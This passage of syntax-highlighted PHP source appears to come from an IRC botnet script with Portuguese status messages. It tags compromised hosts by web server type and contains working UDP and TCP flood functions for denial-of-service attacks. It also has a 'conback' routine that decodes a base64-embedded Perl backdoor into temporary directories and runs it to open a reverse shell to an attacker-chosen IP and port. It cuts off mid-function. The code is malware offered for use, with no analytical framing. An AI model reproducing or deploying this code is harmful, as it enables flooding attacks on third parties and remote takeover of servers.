&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'SERVER_SOFTWARE'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; <span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/strstr"><span style="color: #990000;">strstr</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/strtolower"><span style="color: #990000;">strtolower</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'SERVER_SOFTWARE'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;apache&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">nick</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;[A]&quot;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">elseif</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/strstr"><span style="color: #990000;">strstr</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/strtolower"><span style="color: #990000;">strtolower</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'SERVER_SOFTWARE'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;iis&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">nick</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;[I]&quot;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">elseif</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/strstr"><span style="color: #990000;">strstr</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/strtolower"><span style="color: #990000;">strtolower</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'SERVER_SOFTWARE'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;xitami&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">nick</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;[X]&quot;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">else</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">nick</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;[U]&quot;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <br />
&nbsp; &nbsp; <span style="color: #b1b100;">else</span> <br />
&nbsp; &nbsp; <span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">nick</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;[C]&quot;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <br />
&nbsp; &nbsp; <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">nick</span> <span style="color: #339933;">.=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'prefix'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; <span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$i</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span><span style="color: #000088;">$i</span><span style="color: #339933;">&lt;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'maxrand'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><span style="color: #000088;">$i</span><span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">nick</span> <span style="color: #339933;">.=</span> <a href="http://www.php.net/mt_rand"><span style="color: #990000;">mt_rand</span></a><span style="color: #009900;">&#40;</span>0<span style="color: #339933;">,</span>9<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">send</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;NICK &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">nick</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp;<span style="color: #009900;">&#125;</span> <br />
&nbsp; <span style="color: #000000; font-weight: bold;">function</span> udpflood<span style="color: #009900;">&#40;</span><span style="color: #000088;">$host</span><span style="color: #339933;">,</span><span style="color: #000088;">$packetsize</span><span style="color: #339933;">,</span><span style="color: #000088;">$time</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">privmsg</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'chan'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;[<span style="color: #660099; font-weight: bold;">\2</span>UdpFlood Started!<span style="color: #660099; font-weight: bold;">\2</span>]&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; <span style="color: #000088;">$packet</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$i</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span><span style="color: #000088;">$i</span><span style="color: #339933;">&lt;</span><span style="color: #000088;">$packetsize</span><span style="color: #339933;">;</span><span style="color: #000088;">$i</span><span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <span style="color: #000088;">$packet</span> <span style="color: #339933;">.=</span> <a href="http://www.php.net/chr"><span style="color: #990000;">chr</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/mt_rand"><span style="color: #990000;">mt_rand</span></a><span style="color: #009900;">&#40;</span>1<span style="color: #339933;">,</span>256<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$timei</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/time"><span style="color: #990000;">time</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$i</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/time"><span style="color: #990000;">time</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-</span><span style="color: #000088;">$timei</span> <span style="color: #339933;">&lt;</span> <span style="color: #000088;">$time</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$fp</span><span style="color: #339933;">=</span><a href="http://www.php.net/fsockopen"><span style="color: #990000;">fsockopen</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;udp://&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$host</span><span style="color: #339933;">,</span><a href="http://www.php.net/mt_rand"><span style="color: #990000;">mt_rand</span></a><span style="color: #009900;">&#40;</span>0<span style="color: #339933;">,</span>6000<span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><span style="color: #000088;">$e</span><span style="color: #339933;">,</span><span style="color: #000088;">$s</span><span style="color: #339933;">,</span>5<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/fwrite"><span style="color: #990000;">fwrite</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #339933;">,</span><span style="color: #000088;">$packet</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/fclose"><span style="color: #990000;">fclose</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$i</span><span style="color: #339933;">++;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$env</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$i</span> <span style="color: #339933;">*</span> <span style="color: #000088;">$packetsize</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$env</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$env</span> <span style="color: #339933;">/</span> <span style="color: #cc66cc;">1048576</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$vel</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$env</span> <span style="color: #339933;">/</span> <span style="color: #000088;">$time</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$vel</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/round"><span style="color: #990000;">round</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$vel</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$env</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/round"><span style="color: #990000;">round</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$env</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">privmsg</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'chan'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;[<span style="color: #660099; font-weight: bold;">\2</span>UdpFlood Finished!<span style="color: #660099; font-weight: bold;">\2</span>]: <span style="color: #006699; font-weight: bold;">$env</span> MB enviados / Media: <span style="color: #006699; font-weight: bold;">$vel</span> MB/s &quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
&nbsp;<span style="color: #000000; font-weight: bold;">function</span> tcpflood<span style="color: #009900;">&#40;</span><span style="color: #000088;">$host</span><span style="color: #339933;">,</span><span style="color: #000088;">$packets</span><span style="color: #339933;">,</span><span style="color: #000088;">$packetsize</span><span style="color: #339933;">,</span><span style="color: #000088;">$port</span><span style="color: #339933;">,</span><span style="color: #000088;">$delay</span><span style="color: #009900;">&#41;</span> <br />
&nbsp;<span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">privmsg</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'chan'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;[<span style="color: #660099; font-weight: bold;">\2</span>TcpFlood Started!<span style="color: #660099; font-weight: bold;">\2</span>]&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; <span style="color: #000088;">$packet</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; <span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$i</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span><span style="color: #000088;">$i</span><span style="color: #339933;">&lt;</span><span style="color: #000088;">$packetsize</span><span style="color: #339933;">;</span><span style="color: #000088;">$i</span><span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$packet</span> <span style="color: #339933;">.=</span> <a href="http://www.php.net/chr"><span style="color: #990000;">chr</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/mt_rand"><span style="color: #990000;">mt_rand</span></a><span style="color: #009900;">&#40;</span>1<span style="color: #339933;">,</span>256<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; <span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$i</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span><span style="color: #000088;">$i</span><span style="color: #339933;">&lt;</span><span style="color: #000088;">$packets</span><span style="color: #339933;">;</span><span style="color: #000088;">$i</span><span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; <span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #000088;">$fp</span><span style="color: #339933;">=</span><a href="http://www.php.net/fsockopen"><span style="color: #990000;">fsockopen</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;tcp://&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$host</span><span style="color: #339933;">,</span><span style="color: #000088;">$port</span><span style="color: #339933;">,</span><span style="color: #000088;">$e</span><span style="color: #339933;">,</span><span style="color: #000088;">$s</span><span style="color: #339933;">,</span>5<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">privmsg</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'chan'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;[<span style="color: #660099; font-weight: bold;">\2</span>TcpFlood<span style="color: #660099; font-weight: bold;">\2</span>]: Error: &lt;<span style="color: #006699; font-weight: bold;">$e</span>&gt;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#125;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">else</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/fwrite"><span style="color: #990000;">fwrite</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #339933;">,</span><span style="color: #000088;">$packet</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/fclose"><span style="color: #990000;">fclose</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#125;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp;<a href="http://www.php.net/sleep"><span style="color: #990000;">sleep</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$delay</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <br />
&nbsp; &nbsp; <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">privmsg</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'chan'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;[<span style="color: #660099; font-weight: bold;">\2</span>TcpFlood Finished!<span style="color: #660099; font-weight: bold;">\2</span>]: Config - <span style="color: #006699; font-weight: bold;">$packets</span> pacotes para <span style="color: #006699; font-weight: bold;">$host</span>:<span style="color: #006699; font-weight: bold;">$port</span>.&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp;<span style="color: #009900;">&#125;</span><br />
&nbsp;<span style="color: #000000; font-weight: bold;">function</span> conback<span style="color: #009900;">&#40;</span><span style="color: #000088;">$ip</span><span style="color: #339933;">,</span><span style="color: #000088;">$port</span><span style="color: #009900;">&#41;</span><br />
&nbsp;<span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">privmsg</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'chan'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;[<span style="color: #660099; font-weight: bold;">\2</span>conback<span style="color: #660099; font-weight: bold;">\2</span>]: tentando conectando a <span style="color: #006699; font-weight: bold;">$ip</span>:<span style="color: #006699; font-weight: bold;">$port</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$dc_source</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KcHJpbnQgIkRhdGEgQ2hhMHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQppZiAoISRBUkdWWzBdKSB7DQogIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogIGV4aXQoMSk7DQp9DQpwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KJGhvc3QgPSAkQVJHVlswXTsNCiRwb3J0ID0gODA7DQppZiAoJEFSR1ZbMV0pIHsNCiAgJHBvcnQgPSAkQVJHVlsxXTsNCn0NCnByaW50ICJbKl0gQ29ubmVjdGluZy4uLlxuIjsNCiRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3AnKSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0Kc29ja2V0KFNFUlZFUiwgUEZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCm15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KaWYgKCFjb25uZWN0KFNFUlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogIGRpZSgiVW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KfQ0KcHJpbnQgIlsqXSBTcGF3bmluZyBTaGVsbFxuIjsNCmlmICghZm9yayggKSkgew0KICBvcGVuKFNURElOLCI+JlNFUlZFUiIpOw0KICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgb3BlbihTVERFUlIsIj4mU0VSVkVSIik7DQogIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAuICJcMCIgeCA0Ow0KICBleGl0KDApOw0KfQ0KcHJpbnQgIlsqXSBEYXRhY2hlZFxuXG4iOw==&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><a href="http://www.php.net/is_writable"><span style="color: #990000;">is_writable</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;/tmp&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><a href="http://www.php.net/file_exists"><span style="color: #990000;">file_exists</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;/tmp/dc.pl&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <a href="http://www.php.net/unlink"><span style="color: #990000;">unlink</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;/tmp/dc.pl&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #000088;">$fp</span><span style="color: #339933;">=</span><a href="http://www.php.net/fopen"><span style="color: #990000;">fopen</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;/tmp/dc.pl&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;w&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; <a href="http://www.php.net/fwrite"><span style="color: #990000;">fwrite</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #339933;">,</span><a href="http://www.php.net/base64_decode"><span style="color: #990000;">base64_decode</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dc_source</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; <a href="http://www.php.net/passthru"><span style="color: #990000;">passthru</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;perl /tmp/dc.pl <span style="color: #006699; font-weight: bold;">$ip</span> <span style="color: #006699; font-weight: bold;">$port</span> &amp;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; <a href="http://www.php.net/unlink"><span style="color: #990000;">unlink</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;/tmp/dc.pl&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">else</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><a href="http://www.php.net/is_writable"><span style="color: #990000;">is_writable</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;/var/tmp&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><a href="http://www.php.net/file_exists"><span style="color: #990000;">file_exists</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;/var/tmp/dc.pl&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <a href="http://www.php.net/unlink"><span style="color: #990000;">unlink</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;/var/tmp/dc.pl&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #000088;">$fp</span><span style="color: #339933;">=</span><a href="http://www.php.net/fopen"><span style="color: #990000;">fopen</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;/var/tmp/dc.pl&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;w&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; <a href="http://www.php.net/fwrite"><span style="color: #990000;">fwrite</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #339933;">,</span><a href="http://www.php.net/base64_decode"><span style="color: #990000;">base64_decode</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dc_source</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; <a href="http://www.php.net/passthru"><span style="color: #990000;">passthru</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;perl /var/tmp/dc.pl <span style="color: #006699; font-weight: bold;">$ip</span> <span style="color: #006699; font-weight: bold;">$port</span> &amp;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; <a href="http://www.php.net/unlink"><span style="color: #990000;">unlink</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;/var/tmp/dc.pl&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><a href="http://www.php.net/is_writable"><span style="color: #990000;">is_writable</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;.&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><a href="http://www.php.net/file_exists"><span style="color: #990000;">file_exists</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;dc.pl&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <a href="http://www.php.net/unlink"><span style="color: #990000;">unlink</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;dc.pl&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #000088;">$fp</span><span style="color: #339933;">=</span><a href="http://www.php.net/fopen"><span style="color: #990000;">fopen</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;dc.pl&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;w&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; <a href="http://www.php.net/fwrite"><span style="color: #990000;">fwrite</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #339933;">,</span><a href="http://www.php.net/base64_decode"><span style="color: #990000;">base64_decode</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dc_source</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; <a href="http://www.php.net/passthru"><span style="color: #990000;">passthru</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;perl dc.pl <span style="color: #006699; font-weight: bold;">$ip</span> <span style="color: #006699; font-weight: bold;">$port</span> &amp;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
